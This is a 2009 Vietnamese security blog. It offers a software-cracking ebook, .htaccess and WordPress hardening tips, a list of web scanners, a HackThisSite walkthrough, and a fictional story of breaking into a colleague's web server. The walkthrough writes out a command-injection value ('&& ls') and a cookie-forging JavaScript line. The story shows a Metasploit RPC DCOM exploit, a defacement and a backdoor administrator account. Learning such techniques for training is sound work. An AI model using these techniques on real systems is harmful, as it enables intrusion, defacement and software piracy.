Hiển thị các bài đăng có nhãn security. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn security. Hiển thị tất cả bài đăng

Thứ Tư, 8 tháng 4, 2009

Sổ Tay Cracker 1.0

Toàn bộ các chủ đề bài viết được đánh số thứ tự rõ ràng giúp bạn đọc dễ dàng tra cứu, trao đổi khi cần, các chủ đề được sắp xếp theo thứ tự dễ đến khó phù hợp với mọi đối tượng bạn đọc. Tiêu đề của ebook tất cả bằng tiếng Anh, nhưng nội dung thì hoàn toàn bằng tiếng Việt. Ebook gồm có 212 bài viết trong 21 chủ đề, các chủ đề gồm có:
01.Introduction (5 bài)
02.Cracking for Newbiez (13 bài)
03.Cracker\'s Notes (14 bài)
04.Become A Cracker (9 bài)
05.Cracker Who Are You (29 bài)
06.Cracking Methods (21 bài)
07.IDA Tutorials (8 bài)
08.OllyDBG tutorials (9 bài)
09.Crack CD Protection (3 bài)
10.How to Keygen (8 bài)
11.How To Patch Softs (7 bài)
12.SmartCheck (3 bài)
13.Real Serial - Serial Fishing (6 bài)
14.Moonbaby\'s Tutorials (8 bài)
15.Crack softs cua cac sites (16 bài)
16.Crack Individual Softs (15 bài)
17.PALM Cracking (1 bài)
18.Reversing (3 bài)
19.Unpack - Decompile - Analyze - Protect (19 bài)
20.Cryptography (12 bài)
21.Cracking Sites (3 bài)
Link download : Click here

Thứ Năm, 12 tháng 3, 2009

Cơ bản về .htaccess & cách sử dụng

.htaccess là tên một chương trình chạy trên môi trường Unix dưới host server Apache nhằm hạn chế quyền truy xuất không hợp lệ. File .htaccess sẽ được đặt ở thư mục cần thiết lập hạn chế quyền truy xuất hoặc tạo các trang báo lỗi,..
Bài viết này sẽ trình bày một số cách sử dụng .htacces trên các server sử dụng Apache làm máy chủ.
  • Các trang báo lỗi
Trong quá trình làm việc với client, nếu có lỗi xảy ra (vi dụ như không tìm thấy file) thì Apache sẽ báo lỗi bằng một trang có sẵn hiển thị mã số của lỗi đó, rất không đẹp và khó hiểu. Với .haccess thì bạn có thể tự tạo các trang báo lỗi hay hơn. Để làm được điều này thì trong file .htaccess bạn thêm dòng sau:
ErrorDocument errornumber /file.html
Trong đó errornumber là mã số của lỗi phát sinh, sau đây là những lỗi hay gặp:
401 - Authorization Required (cần password để truy nhập)
400 - Bad request (request bị sai)
403 - Forbidden (không được vào)
500 - Internal Server Error (lỗi server)
404 - Wrong page (lỗi trang, không tìm thấy...)
còn file.html là trang web mà ban muốn hiện thị khi lỗi phát sinh. Ví dụ:
ErrorDocument 404 /notfound.html
hoặc:
ErrorDocument 500 /errorpages/500.html
Trang báo lỗi 404 của k49c.net cũng được làm theo cách này
  • Không cho hiện danh sách file trong thư mục
Đôi khi bạn gặp phải trường hợp server không tìm thấy file mặc định : index.html,index.htm,index.php,... khi bạn truy cập vào server sẽ hiển thị tất cả các file của thư mục.Để tránh tình trạng này , bạn thêm lệnh sau vào .htaccess:
Options -Indexes
  • Chỉ định các IP được/không được truy cập vào trang web
Chức năng này khi mua host hoặc thuê cpanel có cung cấp sẵn,nhưng mình sẽ hướng dẫn cách server thực hiện việc này bạn
Thêm lệnh sau:
deny from 203.239.110.2
để cấm ip 203.239.110.2 hoặc
allow from 203.239.110.20
để cho phép ip 203.239.110.20. Nếu bạn chỉ viêt ip dưới dạng
203.239.110 thì sẽ cấm/cho phép tất cả ip trong giải từ 203.239.110.1 đến 203.239.110.254.
Còn:
deny from all
sẽ cấm tất cả mọi truy cập đến các trang web trong thư mục, tuy nhiên các file trong đó vẫn có thể được sử dụng từ bên ngoài thông qua các dang require hay include.
  • Thay thế trang index
Dùng dòng lệnh sau:
DirectoryIndex index.php index.php3 messagebrd.pl index.html index.htm
Với dòng lệnh này thì tất cả các file được liệt kê sẽ được tìm theo thứ tự khi có yêu cầu tới thư mục hiện hành, trang nào được tìm thấy đầu tiên sẽ thành trang index của thư mục.
  • Redirection
Có thể redirect truy cập từ xa một cách đơn giản bằng lệnh sau:
Redirect /location/from/root/file.ext http://www.k49c.net/new/file/location.xyz
hoặc
Redirect /olddirectory http://www.k49c.net/newdirectory
  • Bảo vệ thư mục bằng password
Trong file .htaccess có thể viết thêm:
AuthUserFile /mnt/web/guide/somewhere/somepath/.htpasswd
AuthGroupFile /dev/null
AuthName Somewhere.com's Secret Section
AuthType Basic

require valid-user

Trong đó quan trọng nhất là file .htpassword, có dạng như sau:
username:v3l0KWx6v8mQM
bob:x4DtaLTqsElC2
với phần trước là tên user, phần sau là password đã được mã hoá bằng DES (có thể dùng john để giải mã ). Bạn có thể tạo ra file .htpasswd này bằng một công cụ có sẵn trong *nix là trình htpasswd, ví dụ:
root@vnofear$htpasswd -c .htpasswd username
Adding password for username.
New password:
password
Re-type new password:
password
xem man htpasswd để biết thêm chi tiết. Khi truy cập vào thư mục được bảo vệ bởi .htpasswd, browser sẽ hiện ra một cửa sổ yêu cầu bạn nhập username và password.
Lưu ý trước khi sử dụng .htaccess bạn nhớ kiểm tra xem host server có hỗ trợ .htaccess hay không.
tổng hợp thêm 1 số command nữa :
1. Chống hotlink

Hotlink nghĩa là một tập tin của ta được đọc trực tiếp từ trang khác. Thí dụ: bạn có một ảnh JPEG rất đẹp 200KB ở máy chủ của bạn, nhưng người khác lại dùng thẻ để hiển thị hình ảnh này ở trang web của họ. Đây là hành vi ăn cắp băng thông của bạn, vì mọi người xem không ai biêt rằng cái ảnh đó của bạn, và bạn đã mất băng thông một cách vô ích.
Rất may, hầu hết các trình duyệt khi yêu cầu một tập tin đều có gửi kèm một thông số cho biết nó được yêu cầu từ trang web nào. Vậy bạn chỉ cần đơn giản một câu kiểm tra là xong.
Cách làm:

Mã lệnh
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yoursite\.com.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://your-ip.*$ [NC]
RewriteRule .*\.(jpg|gif)$ http://www.yoursite.com/hotlink.jpg [NC]

Trong đó hotlink.jpg là ảnh sẽ thay thể các ảnh kia (bạn có thể ghi một câu thông báo chẳng hạn vào tấm ảnh đó). Và tất cả ảnh được link đến từ trang khác sẽ không hiện ra, mà được thay bằng ảnh hotlink.jpg. Tất nhiên, bạn có thể sửa lại để ngăn các tập tin khác ngoài GIF và JPG.
Đôi khi, bạn muốn chống hotlink trong thư mục gallery thôi chẳng hạn, thì dòng cuối cần sửa lại thành:

Mã lệnh
RewriteRule .*gallery.*\.(jpg|gif)$ http://www.yoursite.com/hotlink.jpg [NC]

Thế là ai link đến trang của bạn tùy thích, nhưng mà link đến các ảnh trong thư mục gallery sẽ bị lỗi
2. Trang báo lỗi

Bình thường, khi gặp lỗi, bạn sẽ nhận được một thông báo chán ngắn từ Apache. Tuy nhiên, với .htaccess bạn có thể tuỳ biến trang thông báo này. Thí dụ sau tạo thông báo lỗi tuỳ biến cho các lỗi 403 (cấm truy cập) và 404 (trang không tồn tại):

Mã lệnh
ErrorDocument 403 /error_forbidden.htm
ErrorDocument 404 /error_notfound.htm

Trong đó các trang error_forbidden.htm và error_notfound.htm bạn có thể ghi gì tuỳ ý.
3. Chọn trang web theo thời điểm

Đoạn mã sau đây sẽ hiển thị trang sleep.htm nếu ai đó truy cập vào trang của bạn trong khoảng 1 đến 4 giờ sáng

Mã lệnh
RewriteEngine on
RewriteCond %{TIME_HOUR}%{TIME_MIN} >0100
RewriteCond %{TIME_HOUR}%{TIME_MIN} <0400
RewriteRule ^.*$ http://www.yourdomain.com/sleep.htm

4. Nhắc nhở bật cookie

Bạn bắt buộc người dùng phải chấp nhận cookie, và muốn kiểm tra cookie đã được thiết lập hay chưa. Rất đơn giản, đoạn sau sẽ thay tất cả các ảnh một một tấm ảnh kêu người dùng bất cookie

Mã lệnh
RewriteEngine on
RewriteCond %{HTTP_COOKIE} !^.*cookies=true.*$
RewriteRule .*[Jj][Pp][Gg]$|.*[Gg][Ii][Ff]$ /cookies/enable.gif

Việc cần chuẩn bị trước đó là cần có tập tin /cookies/enable.gif và đặt một cookie tên cookies với giá trị là true
5. Chặn ip của ai đó

Đôi khi bạn muốn giới hạn một trang nào đó chỉ cho phép 1 vài người truy cập (như khu vực Admin), hoặc cho tất cả trừ một vài người không được phép truy cập vào (ngăn những ip đang flood). Cả hai trường hợp này có thể giải quyết nhẹ nhàng nhờ .htaccess
5.1. Chỉ cho phép một số ip truy cập

Đầu tiên ta cấm tất cả, sau đó cho phép một số:

Mã lệnh
order deny,allow
deny from all
allow from 127.0.0.1
allow from 192.168.0.1

Đoạn trên chỉ cho phép ip 127.0.0.1 và 192.168.0.1 truy cập vào trang web (nếu bạn đặt .htaccess ở thư mục gốc). Để cấm thư mục admin, bạn đặt nó vào thư mục admin.
5.2. Cấm một số ip truy cập

Ta làm hơi ngược lại một tí

Mã lệnh
order allow,deny
allow from all
deny from 203.113.135.6
deny from 203.162.*

Ta đã cấm ip 203.113.135.6 và tất cả các ip bắt đầu bằng 203.162
Tổng Hợp

Bảo mật cho Blog WordPress cá nhân

Công cụ Blog WordPress như các bạn đã biết rất được yêu chuộng từ cấu trúc, trình bày đến bảo mật. Tuy cộng đồng người sử dụng và lập trình viên rất đông trên toàn cầu, nhưng vẫn không thể tránh khỏi những lỗi bảo mật nhất là khi bạn không nâng cấp kịp thời những lỗi được công bố từ WordPress và các plugins của chúng. Và hacker thường là những người nhanh tay hơn vì đó là mục đích của họ.

Trong bài viết này tôi sẽ chia sẻ với các bạn vài mẹo nhỏ để tăng cường đôi chút bảo mật cho Blog cá nhân của chính mình.

Loại bỏ Meta Tag phiên bản WordPress

Ngầm định, rất nhiều themes WordPress sử dụng Meta Tag xác định phiên bản đang sử dụng trên blog các nhân. Việc này giúp ích cho nhãn hiệu của công cụ blog và giúp cho việc thống kedeex dàng hơn. Nhưng Hacker hay Spamer có thể lợi dụng chúng để xác định nhanh chóng các lỗi tồn tại và cách thức khai thác. Các bạn không nên giữ dòng Meta Tag này.

Để loại bỏ, bạn vào trong Wp-Admin/Presentation/Edit Theme/Edit Header.php/Bỏ dòng sau :

" name="generator" />

Chặn truy cập thư mục

Cách này nhằm tránh những người có chủ tâm không tốt khai thác thông tin về blog của bạn, rồi dùng thâm tin đó để dò lỗi và khai thác. Rất nhiều nhà cung câp dịch vụ Hosting hay Webmaster để ngầm định chế đọ cho phép xem trang index của thư mục. Tuy nhiên, bạn nên loại bỏ khả năng xem nội dung thư mục trong phần code của WordPress (Disable Access to your Directory Indexes) bằng cách tạo một file .htaccess với nội dung như sau trong thư mục gốc của Blog WordPress của bạn :

Options -Indexes

Một cách khác cũng khá đơn giản, là tạo một file index.php trắng hay một file index.html trong thư mục quan trọng như Plugins chẳng hạn.

Hạn chế truy cập wp-admin

Một trong những cách hacker đoạt quyền điều khiển là thông qua công cụ quản trị. Thay vì cho bất kể ai cũng có thể đăng nhập với tên và mật mã admin và phần quản trị thì bạn có thể hạn chế với một số IP nhất định. Để làm việc này, bạn cần tạo một tệp tin htaccess dạng như sau trong thư mục gốc của blog WordPress :

AuthUserFile /dev/null

AuthGroupFile /dev/null

AuthName "vietSEO Access Control"

AuthType Basic

order deny,allow

deny from all

allow from 1.1.1.2

allow from 1.1.1.3

Trong phần trên bạn chỉ cho phép IP đến từ các địa chỉ 1.1.1.2 và 1.1.1.3 kết nối đến thư mục /wp-admin/ bạn hãy thay thế nó bằng IP tương ứng của mình.

Bạn cũng có thể kết hợp với plugin của Michael’s Login Lockdown plugin cho phép hạn chế khả năng hack mật khẩu người dùng bằng cách thử lặp hay từ điển. Nếu nhập sai mật khẩu một số lần nhất định, nó sẽ khóa IP đó trong vòng một thời gian 1 tiếng theo cấu hình ngầm định.

Mẹo vặt : Bạn có thể chỉ định cho các công cụ tìm kiếm không đánh chỉ mục nội dung thư mục /wp-admin/ bằng cách thêm vào dòng lệnh sau vào trong file robots.txt của blog tại thư mục gốc.

Disallow: /wp-admin/

Theo dõi cập nhật thường xuyên

Bạn hãy bỏ chút thời gian theo dỗi các thông báo mới nhất từ nhóm phát triển WordPress hoặc đăng ký luồng tin RSS của nhóm tại đây.

Ngoài ra Plugin “The Wordpress Automatic Upgrade Plugin” sẽ giúp bạn nâng cấp phiên bản blog một cách an toàn và đơn giản hơn.

Hoài Nam - vietSEO.net

Thứ Ba, 3 tháng 3, 2009

Tổng hợp Tools hay nhất cho nghiên cứu Security

1. Nikto

Có nhiều tính năng hơn một công cụ Web Scanner.
Là một phần mềm mã nguồn mở với tính năng Web Server Scanner, tính năng kiểm tra các máy chủ Web. Bao gồm hơn 3200 phương thức nhận diện các file, lỗi logic nguy hiểm, hỗ trợ hơn 625 phiên bản Web Server, bao gồm những lỗi trên 230 Web Server khác nhau. Tính năng Scan kết hợp với các Plugins luôn được update tự động đảm bảo đưa ra kết quả đầy đủ và chính xác nhất. Là một công cụ rất hữu hiệu nhưng không được update thường xuyên. Các lỗi mới nhất thường được update chậm và không thể tìm thấy.
Download : http://www.cirt.net/nikto/nikto-current.tar.gz
2. Paros Proxy

Một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng web trên Proxy.
Một trang web trên nền Java thường kết hợp dạng proxy điều đó dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting.
Download ở đây:http://sourceforge.net/project/showf...ease_id=438088
3. WebScarab.

Một khung hoạt động cho phép phân tích các ứng dụng giao tiếp sử dụng giao thức HTTP và HTTPS.
Một dạng rất đơn giản, WebScarab lưu các Request và Response cho phép tái sử dụng trong các phiên làm việc khác. WebScarab được thiết kế cho mọi người muốn xem hoạt động của các ứng dụng sử dụng giao thức HTTP(S), tuy nhiên công cụ này cũng cho phép phát triển và sửa những lỗi khó , hoặc cho phép nhận biết những lỗ hổng bảo mật trên các ứng dụng được thiết kế và triển khai.
Link download:
http://downloads.sourceforge.net/owa...0504-1631.jar?
4. WebInspect

Một công cụ tìm kiếm lỗ hổng trên ứng dụng Web rất hiệu quả.
SPI Dynamics’ WebInspect với những công cụ trợ giúp người dùng nhận dạng ra những lỗ hổng bảo mật trên ứng dụng Web. WebInspect có thể giúp kiểm tra các Web Server cấu hình đã chuẩn chưa, và cố gắng thử một vài dạng tấn công như Prameter Injection, Cross-site Scripting, Directory Traversal.
Link download:
http://download.spidynamics.com/prod...spectsetup.exe
5. Whisker/libwhisker

Một công cụ với thư viện mở rất phong phú giúp tìm kiếm các lỗ hổng bảo mật trên ứng dụng Web.
Libwhisker một tính năng của ngôn ngữ Perl – Module cho phép kiểm tra ứng dụng HTTP. Cung cấp những tính năng giúp kiểm tra máy chủ HTTP bằng cách lấy những sự hiểu biết về bảo mật, những nguy cơ tấn công để kiểm tra các lỗ hổng bảo mật. Whisker là một công cụ tìm kiếm lỗ hổng bảo mật sử dụng Libwhisker nhưng giờ có công cụ khác hiệu quả hơn đó là Nikto cũng sử dụng Libwhisker.
Link download :
http://www.wiretrip.net/rfp/libwhisk...current.tar.gz
6. Burpsuite

Kết hợp với ứng dụng để tấn công ứng dụng Web.
Burp cho phép một kẻ tấn công tích hợp nhiều thao tác bằng tay hay những phương pháp tự động để tấn công, phân tích và khai thác các lỗ hổng bảo mật trên ứng dụng Web.
Link download:
http://portswigger.net/suite/burpsuite_v1.1.zip

7. Wikto

Một tool dùng để đánh giá mức độ bảo mật của máy chủ Web.
Là một tools dùng để kiểm tra các thiếu sót khi cấu hình máy chủ Web Server. Cho phép cung cấp nhiều module khác nhau (nếu tích hợp thêm sẽ phải tốn phí), ví dụ như Back-End Function hay Google Integration. Wikto được viết bằng công nghệ .NET của Microsoft, để download mã nguồn của phần mềm này bạn phải đăng ký trên Web site.
Đăng kí: http://www.sensepost.com/research_register.html
Link download:
https://www.sensepost.com/restricted...2924-24997.zip
8. Acunetix Web Vulnerability Scanner.

Một phiên bản thương mại của chương trình tìm kiếm các lỗ hổng bảo mật trên các ứng dụng Web.
Acunetix WVS tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting, tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức xác thực vào Web Site. Với giao diện đồ họa thân thiện, những Report đầy đủ cho phép bạn kiểm tra những vấn đề trên máy chủ và ứng dụng Web.
9. Watchfire AppScan

Một phiên bản thương mại của chương trình tìm kiếm các lỗ hổng bảo mật trên các ứng dụng Web.
AppScan cho phép kiểm tra những ứng dụng được phát triển trên nền web, dễ dàng kiểm tra và phát hiện lỗ hổng. AppScan kiểm tra nhiều lỗ hổng bảo mật, như Cross-Site Scripting, HTTP Response Spliting, và một vài dạng tấn công phổ biến khác, phát hiện các Trojan và Backdoor đang tồn tại trên máy chủ Web và nhiều hơn nữa.
Homepage: http://www-01.ibm.com/software/awdtools/appscan/
10. N-Stealth

Công cụ Web Scanner.
Là một phiên bản thương mại, ứng dụng cho việc tìm kiếm các lỗ hổng bảo mật trên máy chủ Web. Phần mềm tự động update thường xuyên hơn các phần mềm miễn phí như Whisker/libwhisker hay Nikto, nhưng nhiều lỗi mới trên Web cũng không phát hiện kịp thời và nhanh chóng. Phần mềm bao gồm hơn 30.000 lỗ hổng có thể Scan và khai thác trực tiếp, cùng với hàng tá những cập nhật hàng ngày. Dễ dàng triển khai kết hợp với những Scan lỗ hổng bảo mật khác như: Nessus, ISS Internet Scanner, Retina, SAINT và Sara, bao gồm các tính năng khác. N-sealth là phiên bản chỉ dành riêng cho Windows và không thể download Source Code.
Homepage: http://www.nstalker.com/products/fre...d-free-edition
Thêm 1 công cụ nữa hỗ trợ hack rất hay:
Một nhóm hacker vừa tiết lộ công cụ khiến cho cỗ máy tìm kiếm khổng lồ này lấy thông tin nhạy cảm như mật khẩu tài khoản, điểm yếu bảo mật trong các máy chủ...

Nhóm Cult of the Dead Cow (CDC) gọi đó là Goolad Scan, phần mềm dễ dùng đến nỗi người không hiểu biết gì về mã lập trình cũng có thể dò tìm những dữ liệu này để khai thác. Goolad Scan sẽ dụ người quản trị hệ thống website cài đặt nó để sau đó hacker "tung hoành". CDC cho biết họ đã thử nghiệm và thấy được những lỗ hổng ở các máy chủ tại Bắc Mỹ, châu Âu và Trung Đông.

CDC là nhóm "khét tiếng" từ 10 năm trước với "cửa sau" Back Orifice để kiểm soát bất hợp pháp máy tính chạy hệ điều hành Windows.
đây là link download phần mềm đó bài viết trên quản trị mạng đã sửa tên thành goolad thực ra là goolag goolag

http://xoc.ro/gS/Goolag_Scanner_1.0.0.40_Setup.exe
chữ ký

Thứ Tư, 25 tháng 2, 2009

hackthissite.org (HTS) : web bacsic missions walk through (1-10)

Hôm nay có chút thời gian ngồi làm mấy cái hack game một cách chi tiết, post lại đây để các bạn yêu thích hack game tham khảo. Kiến thức của 10 bài web bacsic missions này rất đơn giản nhưng để vượt qua hết cũng cần những kiến thức căn bản. Những bài này tôi đã chơi từ rất lâu rồi hồi 2006 thì phải. Nay ngồi tổng hợp lại cho bài bản big grin . Dân dần tôi sẽ có gắng post đầy đủ và chi tiết các nội dung khác nữa của phần hack game (application, javascript,...)

Kiến thức yêu cầu cho 10 bài này :
- Trình duyệt Firefox (hay một cái tương tự) + một số add-on (cookie manager,...)
- View-source
- html
- javascript
- cookie
- SSI (server side include)
- một tẹo UNIX command
---> có vẻ tạm ổn rồi

Cách tiếp cận : đọc giới thiệu của mỗi mission + đọc gợi ý của mission.

Web bacsic mission 1
http://www.hackthissite.org/missions/basic/1/



View-source của trang web này, bạn sẽ nhìn thấy mật khẩu của nó. Đây là bài đơn giản nhất. Theo đúng tư duy của người lập trình mới.







Web bacsic mission 2
http://www.hackthissite.org/missions/basic/2/


Theo nội dung thông báo:
Network Security Sam set up a password protection script. He made it load
the real password from an unencrypted text file and compare it to the
password the user enters. However, he neglected to upload the password
file...
Sam so sánh mật khẩu không mã hóa từ một file text vơi mật khẩu được nhập vào. Tuy nhiên anh ta quên mất upload file...
--> nếu bạn đánh vào mật khẩu để trống (empty password) thì sao ?




Web bacsic mission 3
http://www.hackthissite.org/missions/basic/3/


View source :








Web bacsic mission 4
http://www.hackthissite.org/missions/basic/4/
Desc : An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address

View source :



Để ý thấy rằng mật khẩu sẽ được gửi vào mail webmaster@hulla-baloo.com. --> đổi mail này thành mail của bạn.
Save lại file HTML và sửa lại thành:



Sau đó chạy file đó và nhận được kết quả happy





Web bacsic mission 5
http://www.hackthissite.org/missions/basic/5/
Desc : Similar to the previous challenge, but with some extra security measures in place. Requirements: HTML knowledge, JS or FF, an email address.

Yêu cầu biết : HTML, Javascript, Firefox, email

View-source thấy như sau.



Làm tương tự Mission 4, sẽ nhận được thông báo


Điều này có nghĩa là phí server có kiểm tra referer, referer cho biết form ta gửi đến có phải từ chính trang hackthissite.org hay không ?
Vì ta chạy file từ máy tính nên hiển nhiên referer khác với referer server so sánh. Vậy là sao để qua được cái này ?
Một khái niệm là fake referer hoặc một cái khác là HTTP header manipulation sẽ giúp bạn giải quyết vấn đề này.
Kỹ thuật HTTP header manipulation được sử dụng rất rộng rãi trong web hacking.
Trong trường hợp này bạn cần có một công cụ cho phép thay đổi referer hay cao cấp hơn dùng một công cụ HTTP header manipulation. Referer là một phần của HTTP.
Trước khi dùng công cụ trên thì chưa có referer



Công cụ: refcontrol cho trình duyệt firefox (bạn có thể dùng công cụ khác)
http://www.stardrifter.org/refcontrol/



Sau đó chạy lại file html đã save lúc nãy và bấm nút send mail.








Web bacsic mission 6
http://www.hackthissite.org/missions/basic/6/
Desc : An encryption system has been set up, which uses an unknown algorithm to change the text given. Requirements: Persistence, some general cryptography knowledge.

Phần này là một chút tư duy về mã hóa. Bản thân mission đã đưa ra công cụ mã hóa, bạn cần dùng công cụ này để phát hiện ra quy luận. Để phát hiện ra quy luật thì cần các bộ dữ liệu thử do bạn đưa vào.


Mật khẩu đã mã khóa của tôi là c9f69jim. Quy luật như sau:
ký tự mã hóa = ký tự bạn đầu trừ đi số thứ tự của nó trong dãy mật khẩu, tính theo bảng ASCII.
VD :
c9f69jim
01234567
c-0 9-1 f-2 6-3 9-4 j-5 i-6 m-7 = c8d35ecf
Bảng mã:






Web bacsic mission 7
http://www.hackthissite.org/missions/basic/7/

Desc : The password is hidden in an unknown file, and Sam has set up a script to display a calendar. Requirements: Basic UNIX command knowledge.
Yêu cầu : cơ bản về lệnh của UNIX



Ở đây theo gợi ý thì Sam đã để file chứa mật khẩu cùng thư mục với chương trình hiển thị lịch là cal.pl (chính là ô trên).
Do sam lập trình không cẩn thận anh không lọc biến đầu vào hơn nữa việc hiển thị lịch là chạy lệnh cal của hệ điều hành. Do đó có thể lợi dụng điểm này để chạy thêm các lệnh khác. Ở đây dùng lệnh ls (tức là list) --> ô trống ở trên bạn điền vào && ls sẽ nhận được kết quả sau.




Sau đó chạy file http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php




Web bacsic mission 8
http://www.hackthissite.org/missions/basic/8/
Desc : The password is yet again hidden in an unknown file. Sam's daughter has begun learning PHP, and has a small script to demonstrate her knowledge. Requirements: Knowledge of SSI (dynamic html executed by the server, rather than the browser)

Con gái của Sam mới học PHP muốn thực hành nội dung mình đã học là đọc file. Vô tình đã cho phép đọc cả file mật khẩu của ông bố.
Nhưng tên file mật khẩu là gì ? Ở đây Sam dùng SSI (server side include) nên có thể dùng lệnh sau để liệt kê các file và thư mục:


Khi đó sẽ nhận được file chứa mật khẩu.
Bài này đơn giản nhưng lại là lỗi phổ biến của các lập trình viên, thường thì các bạn thiếu hiểu biết về hệ thống. Giống như con gái của Sam các bạn lập trình cho đọc file, download file từ server mà không kiểm tra cẩn thận biến đầu vào nên có thể bị lợi dụng đọc file từ server, thậm chí những file cực kỳ quan trọng. Ví dụ trên Linux có thể bị đọc file /etc/passpwd, file /etc/shadow (file này là gì các bạn biết ko ? - đó là file mã hóa mật khẩu của hệ điều hành --> nguy hiểm quá nhỉ). Lỗi này tôi đã gặp rất nhiều lần, trong đó có những sản phẩm thương mại.











Web bacsic mission 9
http://www.hackthissite.org/missions/basic/9/
Desc : The password is again hidden in an unknown file. However, the script that was previously used to find it has some limitations. Requirements: Knowledge of SSI, unix directory structure.



Mission này có gợi ý rất cụ thể. Sử dụng lại công cụ của mission 8, chỉ khác là thư mục lưu file chứa mật khẩu là
/var/www/hackthissite.org/html/missions/basic/9/














Web bacsic mission 10
http://www.hackthissite.org/missions/basic/10/
Desc : This time, the password is encoded straight into the script. Whether the user is allowed in or not is determined by cookies; small pieces of information stored by the browser about the webpage that is being visited. Requirements: Javascript knowledge.

Bài này nội dung là cookie --> bạn nên tập trung vào cái này.
Để hiển thị cookie dùng lệnh :
javascript:alert(document.cookie);



Khi đó bạn sẽ nhìn thấy cookie



Chương trình này chứng thực bằng cookie, biến chứng thực là : level10_authorized
hiện tại bằng no --> đổi lại = yes là ok.

làm sao đổi lại ? trên trình duyệt đánh lệnh:
javascript:alert(document.cookie="level10_authorized=yes");





Sau đó đánh bất kỳ ký tự nào vào ok passuword --> ok




Tôi sẽ tiếp tục cập nhật các nội dung khác.

Have fun!

Thứ Hai, 19 tháng 1, 2009

Ếch Con giở chiêu đột nhập vào WebServer của Tư Nòng Nọc

Lưu ý : Bài viết này là demo chứng minh cho tầm quan trọng của việc quản trị mạng chứ không phải hướng dẫn các bạn đi "chôm" pasword ! Đối với vai trò 1 Administrator thì không phải build up một network cho chạy là xong, mà phải kiểm soát và phải có phương hướng bảo mật cho network của mình. (Các tên nhân vật và tình huống câu chuyện là do tôi hư cấu)

****

Như các bạn đã theo dõi bộ truyện nhiều tập "CHÔM PASSWORD VÀ ĐỌC LÉN MAIL CỦA SẾP", đã biết qua các nhân vật như :

- Ếch Con là lính của Sếp Hai Nhái : thích tìm tòi học hỏi những cái mới và thích châm chọc những người tự cao tự đại.

- Tư Nòng Nọc là lính của Sếp Ba Cóc : thích khoe khoang mặc dù không biết gì, giang hồ có câu "Điếc hay ngóng, ngọng hay nói" thì Tư Nòng Nọc đã có 7 phần trong đó smile_embaressed

****

Cũng vào một dịp nhậu nhẹt tại quán Thu Nở có đầy đủ các nhân vật Hai Nhái, Ếch Con, Ba Cóc, Tư Nòng Nọc. Đang vào tháng 9 nên Phan Thiết có đặc sản là cá Tắc Kè và cá Bò hòm (*). Vô được 5-6 chai ken thì Hai Nhái nhớ "bài lai" vụ laptop của mình shutdown lâu lắc và hay đòi restart liền hỏi Ếch. Ếch ta trả lời là do Windows update các bản vá lỗi cho an toàn nên phải restart lại mới ... "ép phê". Nghe đến đây thì Tư Nòng Nòng nọc "xìiiii" 1 tiếng rõ to và nói rằng "chú chỉ khéo vẽ trò, mình cài Windows xong rồi đặt password thật khó là không ai phá được. Như bản thân anh cài máy "con server" ở cơ quan cũng có update gì đâu mà vẫn chạy tốt. Hôm nào chú sang anh giở vài chiêu xem có làm ăn gì được không vì anh đặt password ... dài lắm, haha". Ếch Con nghĩ thầm "hãy đợi đấy, rồi có lúc ông anh sẽ thấy việc quan trọng của update. Nu! pododi (**)".

Bẵng đi một thời gian, Ếch Con lại có dịp sang cơ quan của Ba Cóc. Cũng như lần trước, nó cũng xin một sợi cable mạng để vào Internet. Nó nhớ lại vụ hôm trước và truy cập vào WebServer của cơ quan Ba Cóc (nó biết được IP nội bộ không khó vì khi nó dùng lệnh "net view" thì thấy có computer tên là WebServ). Hmmm, gớm nhỉ, "Security by Tư Nòng Nọc" luôn cơ à, nếu như theo lời Tư Nòng Nọc không update Windows thì hãy xem thằng Ếch này đây.

picture001

- Thằng Ếch liền download Meta Framework 3.1 để chuẩn bị "ảo thuật" đột nhập vào WebServer.

- Sau khi download xong thì nó liền Install vào.

picture002

- Trong quá trình cài đ8ạt Metasploit Framework 3.1 thì có yêu cầu cài thêm Nmap, thằng Ếch cài luôn.

picture003

- Finish rồi, chạy chương trình thôi

picture004

- Metasploit Framework đang khởi động.

picture005

- Ui chu choa, giao diện ngầu quá đi smile_omg

picture006

- Sau khi chương trình start xong, nó liền search 1 cái lỗi mà nó biết qua trang milw0rm.com là lỗi "rpc dcom".

picture008

- Đây rồi, click vô 1 cái.

picture009

- Đây rồi Windows NT/2000/XP/2003 đều có thể "chơi" được, click forward 1 cái.

picture010

- Thằng Ếch nó chọn shell_bind_tcp, forward cái nữa.

picture011

- Điền IP của Webserver vào, mọi thứ để default rồi forward tiếp.

picture012

- Chương trình detect, đợi thành công thì nhấn apply 1 cái.

picture013

- Oh yeah ! thằng ếch nó cười nham hiểm vì thấy phiên làm việc (session) đã được khởi tạo.

picture014

- Thằng Ếch liền chọn Interact Session.

picture015

- Haha, lấy được CMD rồi, giở chiêu quậy phá thôi.

picture016

- Ếch dùng lệnh "dir" để xem đĩa C:\ của Server và tạo 1 folder "Server_bi_hack" để cảnh báo.

picture017

- Chưa đủ trò quậy phá nó liền sữa trang chủ của website thành nội dung "Tư Nòng Nọc bị đứt đuôi rồi"

picture018

- Truy cập lại xem cái coi, oh ! đẹp quá đi smile_wink Mất tiêu cái "Security by Tư Nòng Nọc" rồi.

picture019

- Ngoài ra nó còn tạo thêm 1 user tên ech và cho vào group Administratos luôn. Chà, nó có thâm ý gì đây nhỉ smile_omg

picture020

- Oh ! nó chạy chương trình Remote Desktop Connection, thì ra là nó muốn quản lý Server bằng giao diện luôn. hihi

picture021

- Nó nhập IP WebServer vào rồi chọn Connect

picture022

- Nó nhập user ech và password vừa tạo vào.

picture023

